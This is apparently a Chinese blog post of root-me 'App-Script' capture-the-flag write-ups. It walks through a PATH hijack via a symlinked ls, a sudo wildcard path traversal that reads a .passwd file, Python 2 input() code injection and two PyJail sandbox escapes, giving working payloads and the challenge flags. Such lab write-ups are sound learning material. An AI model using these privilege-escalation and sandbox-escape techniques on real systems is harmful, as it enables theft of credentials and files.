NEKO

root-me App-Script

2018/04/15

前面两个坑还没填完,这边又想开坑…慢慢填吧
┐(´∇`)┌

在这方面也挺小白的尽量写详细点,大多数是学习别人的wp…

Bash- System 1

ln -s /bin/cat ls

ln命令用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用”-s”选项。

很明显要查看.passwd

但是我们什么权限都没有
注意到ch11.c脚本里有一句:
system("ls /challenge/app-script/ch11/.passwd");
把ls链接到/bin/cat,再运行ch11.c就可以了.
创建符号链接的命令是ln -s 命令 符号.
但不能直接在这个目录运行ln -s,没权限。
在Linux系统中,至少有两个目录保存着系统的临时文件,一个就是 /tmp,另外一个是 /var/tmp。这两个目录有一个共同点就是所有用户在该目录下拥有可读写,可执行的权限

在tmp目录创建文件夹neko作为我们的工作目录,并创建一个叫ls的符号链接,链接到/bin/cat.然后还要将环境变量设置为/tmp/neko,要不然脚本里的ls符号是不能用的,因为ls符号是/tmp/neko目录下的.

alias ls=”cat”

alias命令用来设置指令的别名.
可以直接用alias将ls改为cat.

sudo - weak configuration

弱口令猜出app-script-ch1的口令为app-script-ch1
sudo -l列出目前用户可执行与无法执行的指令

1
2
User app-script-ch1 may run the following commands on this host:
(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/ch1/*

表示app-script-ch1-cracked这个用户可执行/bin/cat /challenge/app-script/ch1/ch1/*
*表示后面可以随便加东西,直接可以遍历目录。
payload:

1
sudo -u app-script-ch1-cracked cat /challenge/app-script/ch1/ch1/../ch1cracked/.passwd

flag:

1
b3_c4r3full_w1th_sud0

Bash - System 2

参照Bash - System 1,把/bin/cat 改为 /bin/nano 即可,nano刚好也有-a,-l选项.nano是个编辑器.

Python - input()

版本python2,用的是input而不是raw_input(),那我们是可以在input()里执行代码的,input()函数等同于eval(raw_input())。
例如:

因为代码里导入了sys模块,所以可以直接使用sys.path
如果代码里没导入模块呢?

可以用这种方式。

这里要用./setuid-wrapper,不能python ch6.py。

用sys打开.passwd

用os执行命令

建立shell



为什么我又忘记保存了啊w(゚Д゚)w

Python - PyJail 1

利用内置对象func_code的内置函数co_consts可以得到函数exit()里可打印的字符串,看到我们需要的arg:flag-WQ0dSFrab3LGADS1ypA1

Python - PyJail 2

做完之后把源码copy了下来,本地演示
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys, cmd, os
from hashlib import md5
from random import random

"""
Author: zM
Desc: PyJail challenge for root-me.org
"""

intro = """ __ _ __
___ __ ____ / /__ _(_) /\tWelcome on PyJail2
/ _ \/ // / // / _ `/ / /
/ .__/\_, /\___/\_,_/_/_/ \tUse getout() function if you want to
/_/ /___/ \tescape from here and get the flag !\n"""

passwd = md5(str(random())).hexdigest()

# del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['input']


def execute(command):
def getout(password):
""" check if arg is equal to the random password """
if (password == passwd):
print "Well done ! Here is your so desired flag : "
os.system("cat .passwd")
print
sys.exit()
else:
print "Hum ... no."

exec (command) in locals()


class Jail(cmd.Cmd):
prompt = '>>> '
filtered = '\'|"|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split(
'|')

def do_EOF(self, line):
sys.exit()

def emptyline(self):
return cmd.Cmd.emptyline(self)

def default(self, line):
sys.stdout.write('\x00')

def postcmd(self, stop, line):
if any(f in line for f in self.filtered):
print "You're in jail dude ... Did you expect to have the key ?"
else:
try:
execute(line)
except NameError:
print "NameError: name '%s' is not defined" % line
except Exception:
print "Error: %s" % line
return cmd.Cmd.postcmd(self, stop, line)


if __name__ == "__main__":
try:
Jail().cmdloop(intro)
except KeyboardInterrupt:
print "\rBye bye !"

首先介绍一个函数,getattr()

1
2
3
4
5
6
7
8
9
10
11
12
>>> class test():
... name="xiaohua"
... def run(self):
... return "HelloWord"
...
>>> t=test()
>>> getattr(t, "name") #获取name属性,存在就打印出来。
'xiaohua'
>>> getattr(t, "run") #获取run方法,存在就打印出方法的内存地址。
<bound method test.run of <__main__.test instance at 0x0269C878>>
>>> getattr(t, "run")() #获取run方法,后面加括号可以将这个方法运行。
'HelloWord'

至于为什么要用这个函数,因为过滤了太多关键字(源码可也以看到),需要用这个函数来绕过.
ok
首先记录下自己的失败思路,尝试利用python jail1的思路,看看能不能打印出来一些有价值的信息
经测试
getattr(getout,dir(getout)[-6]) = getout.func_code(这是个对象)
dir(getattr(getout,dir(getout)[-6]))[-11] = ‘co_consts’
那么 print getout.func_code.consts就可以写作
print getattr(getattr(getout,dir(getout)[-6]),dir(getattr(getout,dir(getout)[-6]))[-11])
结果:

1
(' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)

没什么软用,结合源码我们也可以看到这些字符串:

1
2
3
4
5
6
7
8
9
def getout(password):
""" check if arg is equal to the random password """
if (password == passwd):
print "Well done ! Here is your so desired flag : "
os.system("cat .passwd")
print
sys.exit()
else:
print "Hum ... no."

的确没什么软用.

那有什么方法能把getout()函数里涉及的变量什么的打印出来吗?
もちろん、あるよ~(of course we have)
那就是内置函数func_globals:
返回当前全局符号表, 通常在是返回当前模块下的全局符号表, 比如全局内建的函数,
以及模块里的全局符号(定义声明的变量,类, 实例等), 在函数或者类方法中, globals()
返回的模块符号表是其所在模块, 而不是调用模块.

听起来挺复杂,看结果就清楚了.
经测试:
dir(getout)[-2] = ‘func_globals’

那么print getout.func_globals就等价于print getattr(getout,dir(getout)[-2])
结果:

1
{'execute': <function execute at 0x0000000002CDBC18>, 'random': <built-in method random of Random object at 0x0000000002D25C38>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'C:/Users/kuraraneko/Documents/python\xb4\xfa\xc2\xeb/test.py', 'cmd': <module 'cmd' from 'D:\python27\lib\cmd.pyc'>, '__package__': None, 'sys': <module 'sys' (built-in)>, 'passwd': 'ae89ab272b46ebde7b933e6ca6313dac', 'intro': '                     __     _ __\n       ___  __ ____ / /__ _(_) /\tWelcome on PyJail2\n      / _ \\/ // / // / _ `/ / / \n     / .__/\\_, /\\___/\\_,_/_/_/  \tUse getout() function if you want to\n    /_/   /___/                 \tescape from here and get the flag !\n', 'Jail': <class __main__.Jail at 0x0000000002CB0D08>, '__name__': '__main__', 'os': <module 'os' from 'D:\python27\lib\os.pyc'>, '__doc__': None, 'md5': <built-in function openssl_md5>}

我们可以看到什么乱七八糟有关的东西都出来了…(所以说以后可以用func_globals代替func_code.co_consts?)
可以看到里面有passwd,怎么表示passwd的值呢?
首先
list(getattr(getout,dir(getout)[-2]))[-7] = 'passwd'
然后’passwd’对应的value就是 getattr(getout,dir(getout)[-2])[list(getattr(getout,dir(getout)[-2]))[-7]]
最后直接getout(getattr(getout,dir(getout)[-2])[list(getattr(getout,dir(getout)[-2]))[-7]])就可以了.
flag:ValidateMeDude!

至于怎么拿到源码的,在网上看到一个大神的wp:https://tkxb.wordpress.com/2018/01/30/root-mepython-pyjail-2-write-up/
直接开了个shell…

原文作者: n3k0

发表日期: April 15th 2018, 1:51:23

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. Bash- System 1
    1. 1.1. ln -s /bin/cat ls
    2. 1.2. alias ls=”cat”
  2. 2. sudo - weak configuration
  3. 3. Bash - System 2
  4. 4. Python - input()
    1. 4.1. 用sys打开.passwd
    2. 4.2. 用os执行命令
    3. 4.3. 建立shell
  5. 5. Python - PyJail 1
  6. 6. Python - PyJail 2